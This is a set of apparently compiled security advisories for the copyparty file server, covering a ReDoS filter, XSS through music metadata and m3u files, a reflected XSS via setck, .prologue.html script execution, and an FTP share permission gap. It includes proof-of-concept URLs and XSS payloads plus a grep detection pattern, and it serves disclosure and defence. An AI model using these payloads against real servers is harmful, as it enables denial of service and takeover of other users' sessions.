Cross Site Scripting vulnerability in copyparty before 1.9.2 allows a local attacker to execute arbitrary code via a crafted payload to the WEEKEND-PLANS function. NOTE: this is disputed because WEEKEND-PLANS is accessible only to actors who already have write access to the server, and they can more simply upload HTML files containing JavaScript.

Summary The filter parameter for the "Recent uploads" page allows arbitrary Regexes. If this feature is enabled (which is the default), an attacker can craft a filter which deadlocks the server.

PoC https://127.0.0.1:3923/?ru&filter=(.+)+x

Impact The server becomes fully inaccessible for a long time.

Summary

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.

Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

a user which has the necessary permission for uploading files can upload a song with an artist-name such as <img src=x onerror=alert(document.domain)> an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

PoC 1. Create a file named song.m3u with the following content. Host this file on an attacker-controlled web server.

m3u #EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3

2. Craft and share the malicious URL:

http://127.0.0.1:3923/#m3u=https://example.com/song.m3u

Impact Any user that accesses this malicious URL is impacted.

Summary An XSS allows for reflected cross-site scripting via URL-parameter ?setck=...

Details A reflected cross-site scripting (XSS) vulnerability could allow an attacker to execute malicious javascript by tricking users into accessing a malicious link.

The worst-case outcome of this is being able to move or delete existing files on the server, or upload new files, using the account of the person who clicks the malicious link.

Indicators of Compromise All attempted attacks (successful or not) would be logged to both the copyparty serverlog and the accesslog of the reverseproxy, and are detected by grep -E '[?&]setck=[^&"]%' (the text setck= eventually followed by the % character).

Copyparty is a portable file server. Prior to 1.20.12, if an attacker has been given both read- and write-permissions to the server, they can upload a malicious file with the filename .prologue.html and then craft a link to potentially execute arbitrary JavaScript in the victim's context. Note that it is intended behavior that the JavaScript would execute if the target clicks a link to the HTML file itself; "https://example.com/foo/.prologue.html". The vulnerability is that "https://example.com/foo/?b" would also evaluate the file, making the behavior unexpected. There are existing preventative measures (strict SameSite cookies) which makes it harder to leverage this vulnerability in an attack; in order to gain control of the target's authenticated session, the link must be clicked from a page served by the server itself -- most likely by editing an existing resource, which would require additional access permissions. Finally, for this attack to be successful, the attacker's target must click the specific crafted link given by the attacker. This vulnerability is not activated by normally browsing the web-UI on the server. This vulnerability is fixed in 1.20.12.

Copyparty is a portable file server. Prior to 1.20.12, there was a missing permission-check in the shares feature (the shr global-option). This vulnerability only applies when the shares feature is used for the specific purpose of creating a share of just a single file inside a folder or either the FTP or SFTP server is enabled, and also made publicly accessible. Given these conditions, when a user is browsing a share through either FTP or SFTP (not http or https), they can gain read-access to the remaining files inside the shared folder by guessing/bruteforcing the filenames. It was not possible to descend into subdirectories in this manner; only the sibling files were accessible. This vulnerability is similar to CVE-2025-58753 which was previously fixed for HTTP and HTTPS, but not for FTP. The FTPS server did not yet exist at that time. This vulnerability is fixed in 1.20.12.